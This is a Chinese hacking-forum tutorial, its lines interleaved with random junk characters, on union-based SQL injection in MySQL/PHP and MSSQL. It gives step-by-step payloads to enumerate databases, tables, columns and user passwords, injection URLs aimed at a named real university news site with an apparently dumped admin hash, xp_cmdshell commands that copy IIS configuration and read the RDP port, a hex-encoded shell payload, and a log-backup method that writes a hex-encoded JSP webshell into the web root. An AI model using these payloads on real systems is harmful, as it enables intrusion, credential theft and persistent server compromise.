————————————————————————九零后安全技术小组 | 90 Security Team -- 打造90后网安精英团队 ———————————————————————————————' ~) t. b3 _+ `, r
: K3 s' x: o+ K: y$ M0 o# Q* R( }; \- |! D$ H( b
欢迎高手访问指导,欢迎新手朋友交流学习。$ k7 D! M0 ?! S6 y/ X# W
. _' L6 H/ B7 f# c/ ?( o5 w- p/ m$ z8 V 论坛: http://www.90team.net/
6 F; F- }4 e; Y: K" m3 S2 N! o K k% W( k9 c- v
& n) }1 F1 @; B+ a5 M, _& h, }/ A
: c& t& d/ J+ q% p: i- i' d$ L- g6 S# `教程内容:Mysql 5+php 注入
/ v$ G6 _# V0 z# N4 }. f( N+ X' D! s Q9 R
and (select count(*) from mysql.user)>0/*
D6 ^# G/ M5 l+ B% C, c3 Q4 @: ^- A5 l+ x2 e* e7 p7 U8 B9 P( P1 ?
一.查看MYSQL基本信息(库名,版本,用户), i8 I9 {& U% C, L
) ?' Y+ N* f' C) ?and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*, G2 k7 Z( k# o# n! m$ N) e. h
9 Q3 Q+ x8 t6 p4 W/ [: r二.查数据库
/ Y, q0 K' j" a p
. ^6 q' Q0 F( |5 [) [and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
% m: f' }& c1 N) Mlimit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。8 ]: |8 A' n Y5 I1 @% {# L
+ h* A2 p l; G ^三.暴表
/ A* a6 I4 g+ l' @3 ~% d0 O5 f% |' n- e, C
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*+ c. [& V. c) D9 T% `
4 }# l2 _! ?% G. Y5 O1 E$ J1 d
limit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。, E( V- g1 H4 r) @% G: `5 C
% w5 ]) v, u2 N0 M8 \四.暴字段 Z1 I; f& {1 P" O) W. I
- r3 G! r( t8 ?7 [% a3 g/ Oand 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8 from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/* p2 F4 A' m/ j0 ?
% H: M8 ~% Q2 {0 b) c7 Ilimit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。
. O% l0 y4 z* u9 p! I6 _6 U
; r0 ?, n6 m2 z3 ~+ ~1 G五.暴数据
7 k* P" o1 L+ V5 Y$ l0 c" y9 H* ~2 k! E6 Y9 y8 e6 |1 L# ?- \
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*/ E- r4 A ^; Y
% f+ l; v8 M4 g: ?/ ~/ K
% ~/ {% q; K6 \4 V! f' B这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。
& v2 u1 [( O& w' E" X1 O
) f5 g& d. U/ h0 X) @0 ?/ ?6 d) S! U/ ^
新手不明白的可以到论坛发帖提问,我会的尽量给你解答。
+ u0 I1 S. h7 \" n% N
: g. E6 K! P- i8 W+ v 欢迎九零后的新手高手朋友加入我们
+ \7 o+ r L( F# H9 w+ y& { t* {) e( Q
By 【90.S.T】书生
8 v6 z3 U0 i; v. p) Y ( e2 ~4 n, R# ^, x# o+ C
MSN/QQ:it7@9.cn
' J1 X+ F8 Y, e! Z2 @; j9 K h7 L# ?
+ X7 \+ x" Q w- q! P7 b; W8 c* r 论坛:www.90team.net ; V3 v+ g! e ?1 A7 O+ w
" @: c% L1 u% I5 s+ Q6 G
4 v( r5 u [/ n% Q5 L
5 I; E7 ~( U0 s2 w( ~) h4 D* Q2 I: u
, j, f [( ]2 ^0 S& ^$ _1 [5 |" C* Z( o, Y
; z/ d5 h1 ], R' q4 P$ b. I
& g* V) D! I' d3 T8 C$ G/ E9 K. U
8 y- z ]* l8 d' {1 g" n& L
8 o$ _7 Y, {4 G) h
http://news.cupl.edu.cn/V/videoshow.php?id=-95 UNION SELECT 1,2,loginame ,4,5,6,7,8,9 from --
" P7 j* j# a, D. bpassword loginame
# _2 h: o0 v8 l
: ~9 P2 Y5 R( u% Z9 T: M
/ X; E+ I" D3 @- }7 y# _9 l8 J, ^6 x9 m1 r7 j* u
2 d" N4 F4 I! v, G. j
http://news.cupl.edu.cn/V/videoshow.php?id=-95 UNION SELECT 1,2,TABLE_NAME,4,5,6,7,8,9 rom information_schema.TABLES where TABLE_SCHEMA =CHAR(99, 45, 110, 101, 119, 115) limit 0,1--
# B% @' b3 c# o! E. E
?% M" ^' x+ R. n' E0 w
/ v: A' p& u: m+ O
2 B" Y, @: V* s7 N
: X' Y4 O2 t, d* F: [- A+ v% i, V. B, z$ k: {% {6 }; Z& o
p6 {# c T' D& }
& ~6 @. M% v; Z [% k# ^7 ~: N5 x; P I( v% A. E3 ~9 O
5 s/ n U! v9 y6 u$ L, C
9 z/ C6 U0 Y' Z
administer! i7 z8 |2 g4 k" e5 I H
电视台 " s% ^; [/ H- q) f6 f; y' ^' T
fafda06a1e73d8db0809ca19f106c300 u1 x" u, X3 ?& |+ M% W
; u1 O+ u! a3 _0 w0 n
% Q7 ~$ I! i5 L/ f. _/ F! b
3 i( x7 @- ~2 l0 g' m
. A+ M N7 Z! u8 \2 g- e8 j9 c# B$ K1 U' A* k. i% @9 s# O
% H) u% u8 M& l" I& c
# w) n, e2 B4 l' h o
- k0 T5 d5 a, m$ B) W; v0 }$ b! Y1 h# w' d$ F3 x7 M
: Z# {6 N, @# T& j7 O
IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm
: ~' G6 K+ Q( n- S: I
& k5 |3 m$ h1 f5 H% k+ t8 x
d/ f) c& W# J6 R% C读取IIS配置信息获取web路径
7 c# J$ @7 w4 R$ s( u( y: ~7 X* ^$ K* H7 }) P4 e+ e
exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--) h7 M& @) m2 H V4 [4 V* |5 M
) k1 ]. R+ m( }) G3 a5 G执行命令exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
( T$ j4 f/ W: B2 [/ t; s, M$ N
$ J( U* @, m- C8 T. @7 h, v- ?0 y
CMD下读取终端端口
( Y9 o2 ?; W. ?, S1 ?0 eregedit /e c:\\tsport.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
7 X) U) J4 Q# t6 G: O1 b) E' g2 U, M! K" `+ E$ V" ^! G! y& k
然后 type c:\\tsport.reg | find "PortNumber"
0 ?0 @6 Q$ N) S6 ^! W8 m% k
& F% w* k# N) Q ~" I# V6 \) Q$ U. G
$ j* C. }0 I/ G% u, X3 v7 a& y3 i/ _* z% `
# C) c* e$ k' Q1 x- f Q! M
0 {9 H2 ~8 W1 r6 o V( \% S
+ ~3 ]' r1 \3 U5 s" j;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--1 R: ]* W$ H' R# N" D! K" @/ {; j
+ J& G) ?1 c" W% X y7 E* Y+ T3 |1 @;declare @s varchar(4000) set @s=cast(0x53656C656374202A2046726F6D204F70656E526F7753657428274D6963726F736F66742E4A65742E4F4C4544422E342E30272C20273B44617461626173653D6961735C6961732E6D6462272C202773656C656374207368656C6C2822636D642E657865202F63206563686F2057656C636F6D6520746F20392E302E732E74202020207777772E39307465616D2E6E65742020627920483478307872207869616F6A756E2020203E20433A5C57696E646F77735C48656C705C69697348656C705C636F6D6D6F6E5C343034622E68746D22292729 as varchar(4000));exec(@s);-- and 1=1 . ]6 a5 t$ P% U. @8 ~' i, `
T* s/ R. k* g" N" c* x. Q
0 `/ @8 p6 S6 o( P9 ySelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0', ';Database=ias\ias.mdb', 'select shell("cmd.exe /c echo Welcome to 9.0.s.t www.90team.net > C:\Windows\Help\iisHelp\common\404b.htm")')4 k( g3 T2 ~( _% ]4 S- s
6 Z0 @( X( d) q; q
: B b& N1 r, k, k$ t* r( X2 s( y! w4 b7 P7 n+ g
jsp一句话木马
2 t6 e. _9 k8 W. q
0 ?( |. A( L1 X; ~4 h5 p$ b, D
2 k! |+ p* G: \! B0 n$ N' e( {
! k8 z6 Q# F* D% b% X) F; k; M+ N: r2 u8 ]# n
■基于日志差异备份/ T) o0 ?9 e H/ { C# m e5 T7 d
--1. 进行初始备份
y1 [' I/ } U# e+ R' I; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
8 A, D9 y. W4 E5 G; x
' X# g7 f; x1 M2 s+ e--2. 插入数据
6 h# u' c* ]) m, \* W9 ~4 D;Insert Into ttt Values(0x3C25DA696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C5C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293BDA253EDA)--" {' q h, e$ J* g
( {1 _( _5 E5 f--3. 备份并获得文件,删除临时表
& `+ H) R; r! l c;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
" Q7 d# n6 p7 _5 l" L2 Tfafda06a1e73d8db0809ca19f106c300
5 K" d, H2 G' _0 G3 Y( |fafda06a1e73d8db0809ca19f106c300) j1 o* u; U0 W& ~8 v7 K
! T4 H8 U! H% \" r
|